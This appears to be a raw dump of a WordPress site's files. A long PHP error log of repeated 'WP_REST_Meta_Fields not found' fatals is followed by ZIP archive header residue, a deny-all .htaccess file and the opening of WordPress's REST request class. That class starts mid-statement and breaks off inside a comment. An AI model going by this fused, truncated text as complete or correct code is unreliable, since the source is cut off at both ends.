[25-Jul-2026 23:22:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[25-Jul-2026 23:22:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[01-Aug-2026 15:27:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[01-Aug-2026 15:27:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[01-Aug-2026 15:27:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[01-Aug-2026 15:27:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[01-Aug-2026 15:35:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[01-Aug-2026 15:35:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[01-Aug-2026 15:35:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[01-Aug-2026 15:35:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[06-Aug-2026 20:09:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[06-Aug-2026 20:09:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[06-Aug-2026 20:09:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[06-Aug-2026 20:09:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[06-Aug-2026 20:17:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[06-Aug-2026 20:17:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[06-Aug-2026 20:17:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[06-Aug-2026 20:17:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[07-Aug-2026 17:35:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[07-Aug-2026 17:35:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[07-Aug-2026 17:35:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[07-Aug-2026 17:35:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[10-Aug-2026 03:25:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[10-Aug-2026 03:25:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[10-Aug-2026 03:25:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[10-Aug-2026 03:25:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[18-Aug-2026 21:01:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[18-Aug-2026 21:01:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[18-Aug-2026 21:01:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[18-Aug-2026 21:01:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[18-Aug-2026 21:09:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[18-Aug-2026 21:09:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[18-Aug-2026 21:09:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[18-Aug-2026 21:09:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[18-Aug-2026 21:37:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[18-Aug-2026 21:37:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[18-Aug-2026 21:37:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[18-Aug-2026 21:37:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[18-Aug-2026 21:42:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[18-Aug-2026 21:42:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[18-Aug-2026 21:42:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[18-Aug-2026 21:42:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[20-Aug-2026 13:17:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[20-Aug-2026 13:17:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[20-Aug-2026 13:17:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[20-Aug-2026 13:17:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[20-Aug-2026 13:25:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[20-Aug-2026 13:25:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[20-Aug-2026 13:25:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[20-Aug-2026 13:25:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[01-Sep-2026 19:41:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[01-Sep-2026 19:41:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[01-Sep-2026 19:41:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[01-Sep-2026 19:41:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[03-Sep-2026 03:12:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[03-Sep-2026 03:12:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[03-Sep-2026 03:12:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[03-Sep-2026 03:12:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[03-Sep-2026 03:40:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[03-Sep-2026 03:40:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[03-Sep-2026 03:40:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[03-Sep-2026 03:40:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[04-Sep-2026 09:15:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[04-Sep-2026 09:15:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[04-Sep-2026 09:15:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[04-Sep-2026 09:15:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[04-Sep-2026 09:36:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[04-Sep-2026 09:36:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[04-Sep-2026 09:36:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[04-Sep-2026 09:36:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
PK h0]Sʉ fields/.htaccessnu 7m
Order allow,deny
Deny from all
PK h0]c6-k -k class-wp-rest-request.phpnu [ params = array(
'URL' => array(),
'GET' => array(),
'POST' => array(),
'FILES' => array(),
// See parse_json_params.
'JSON' => null,
'defaults' => array(),
);
$this->set_method( $method );
$this->set_route( $route );
$this->set_attributes( $attributes );
}
/**
* Retrieves the HTTP method for the request.
*
* @since 4.4.0
*
* @return string HTTP method.
*/
public function get_method() {
return $this->method;
}
/**
* Sets HTTP method for the request.
*
* @since 4.4.0
*
* @param string $method HTTP method.
*/
public function set_method( $method ) {
$this->method = strtoupper( $method );
}
/**
* Retrieves all headers from the request.
*
* @since 4.4.0
*
* @return array Map of key to value. Key is always lowercase, as per HTTP specification.
*/
public function get_headers() {
return $this->headers;
}
/**
* Determines if the request is the given method.
*
* @since 6.8.0
*
* @param string $method HTTP method.
* @return bool Whether the request is of the given method.
*/
public function is_method( $method ) {
return $this->get_method() === strtoupper( $method );
}
/**
* Canonicalizes the header name.
*
* Ensures that header names are always treated the same regardless of
* source. Header names are always case-insensitive.
*
* Note that we treat `-` (dashes) and `_` (underscores) as the same
* character, as per header parsing rules in both Apache and nginx.
*
* @link https://stackoverflow.com/q/18185366
* @link https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/#missing-disappearing-http-headers
* @link https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers
*
* @since 4.4.0
*
* @param string $key Header name.
* @return string Canonicalized name.
*/
public static function canonicalize_header_name( $key ) {
$key = strtolower( $key );
$key = str_replace( '-', '_', $key );
return $key;
}
/**
* Retrieves the given header from the request.
*
* If the header has multiple values, they will be concatenated with a comma
* as per the HTTP specification. Be aware that some non-compliant headers
* (notably cookie headers) cannot be joined this way.
*
* @since 4.4.0
*
* @param string $key Header name, will be canonicalized to lowercase.
* @return string|null String value if set, null otherwise.
*/
public function get_header( $key ) {
$key = $this->canonicalize_header_name( $key );
if ( ! isset( $this->headers[ $key ] ) ) {
return null;
}
return implode( ',', $this->headers[ $key ] );
}
/**
* Retrieves header values from the request.
*
* @since 4.4.0
*
* @param string $key Header name, will be canonicalized to lowercase.
* @return array|null List of string values if set, null otherwise.
*/
public function get_header_as_array( $key ) {
$key = $this->canonicalize_header_name( $key );
if ( ! isset( $this->headers[ $key ] ) ) {
return null;
}
return $this->headers[ $key ];
}
/**
* Sets the header on request.
*
* @since 4.4.0
*
* @param string $key Header name.
* @param string $value Header value, or list of values.
*/
public function set_header( $key, $value ) {
$key = $this->canonicalize_header_name( $key );
$value = (array) $value;
$this->headers[ $key ] = $value;
}
/**
* Appends a header value for the given header.
*
* @since 4.4.0
*
* @param string $key Header name.
* @param string $value Header value, or list of values.
*/
public function add_header( $key, $value ) {
$key = $this->canonicalize_header_name( $key );
$value = (array) $value;
if ( ! isset( $this->headers[ $key ] ) ) {
$this->headers[ $key ] = array();
}
$this->headers[ $key ] = array_merge( $this->headers[ $key ], $value );
}
/**
* Removes all values for a header.
*
* @since 4.4.0
*
* @param string $key Header name.
*/
public function remove_header( $key ) {
$key = $this->canonicalize_header_name( $key );
unset( $this->headers[ $key ] );
}
/**
* Sets headers on the request.
*
* @since 4.4.0
*
* @param array $headers Map of header name to value.
* @param bool $override If true, replace the request's headers. Otherwise, merge with existing.
*/
public function set_headers( $headers, $override = true ) {
if ( true === $override ) {
$this->headers = array();
}
foreach ( $headers as $key => $value ) {
$this->set_header( $key, $value );
}
}
/**
* Retrieves the Content-Type of the request.
*
* @since 4.4.0
*
* @return array|null Map containing 'value' and 'parameters' keys
* or null when no valid Content-Type header was
* available.
*/
public function get_content_type() {
$value = $this->get_header( 'Content-Type' );
if ( empty( $value ) ) {
return null;
}
$parameters = '';
if ( strpos( $value, ';' ) ) {
list( $value, $parameters ) = explode( ';', $value, 2 );
}
$value = strtolower( $value );
if ( ! str_contains( $value, '/' ) ) {
return null;
}
// Parse type and subtype out.
list( $type, $subtype ) = explode( '/', $value, 2 );
$data = compact( 'value', 'type', 'subtype', 'parameters' );
$data = array_map( 'trim', $data );
return $data;
}
/**
* Checks if the request has specified a JSON Content-Type.
*
* @since 5.6.0
*
* @return bool True if the Content-Type header is JSON.
*/
public function is_json_content_type() {
$content_type = $this->get_content_type();
return isset( $content_type['value'] ) && wp_is_json_media_type( $content_type['value'] );
}
/**
* Retrieves the parameter priority order.
*
* Used when checking parameters in WP_REST_Request::get_param().
*
* @since 4.4.0
*
* @return string[] Array of types to check, in order of priority.
*/
protected function get_parameter_order() {
$order = array();
if ( $this->is_json_content_type() ) {
$order[] = 'JSON';
}
$this->parse_json_params();
// Ensure we parse the body data.
$body = $this->get_body();
if ( 'POST' !== $this->method && ! empty( $body ) ) {
$this->parse_body_params();
}
$accepts_body_data = array( 'POST', 'PUT', 'PATCH', 'DELETE' );
if ( in_array( $this->method, $accepts_body_data, true ) ) {
$order[] = 'POST';
}
$order[] = 'GET';
$order[] = 'URL';
$order[] = 'defaults';
/**
* Filters the parameter priority order for a REST API request.
*
* The order affects which parameters are checked when using WP_REST_Request::get_param()
* and family. This acts similarly to PHP's `request_order` setting.
*
* @since 4.4.0
*
* @param string[] $order Array of types to check, in order of priority.
* @param WP_REST_Request $request The request object.
*/
return apply_filters( 'rest_request_parameter_order', $order, $this );
}
/**
* Retrieves a parameter from the request.
*
* @since 4.4.0
*
* @param string $key Parameter name.
* @return mixed|null Value if set, null otherwise.
*/
public function get_param( $key ) {
$order = $this->get_parameter_order();
foreach ( $order as $type ) {
// Determine if we have the parameter for this type.
if ( isset( $this->params[ $type ][ $key ] ) ) {
return $this->params[ $type ][ $key ];
}
}
return null;
}
/**
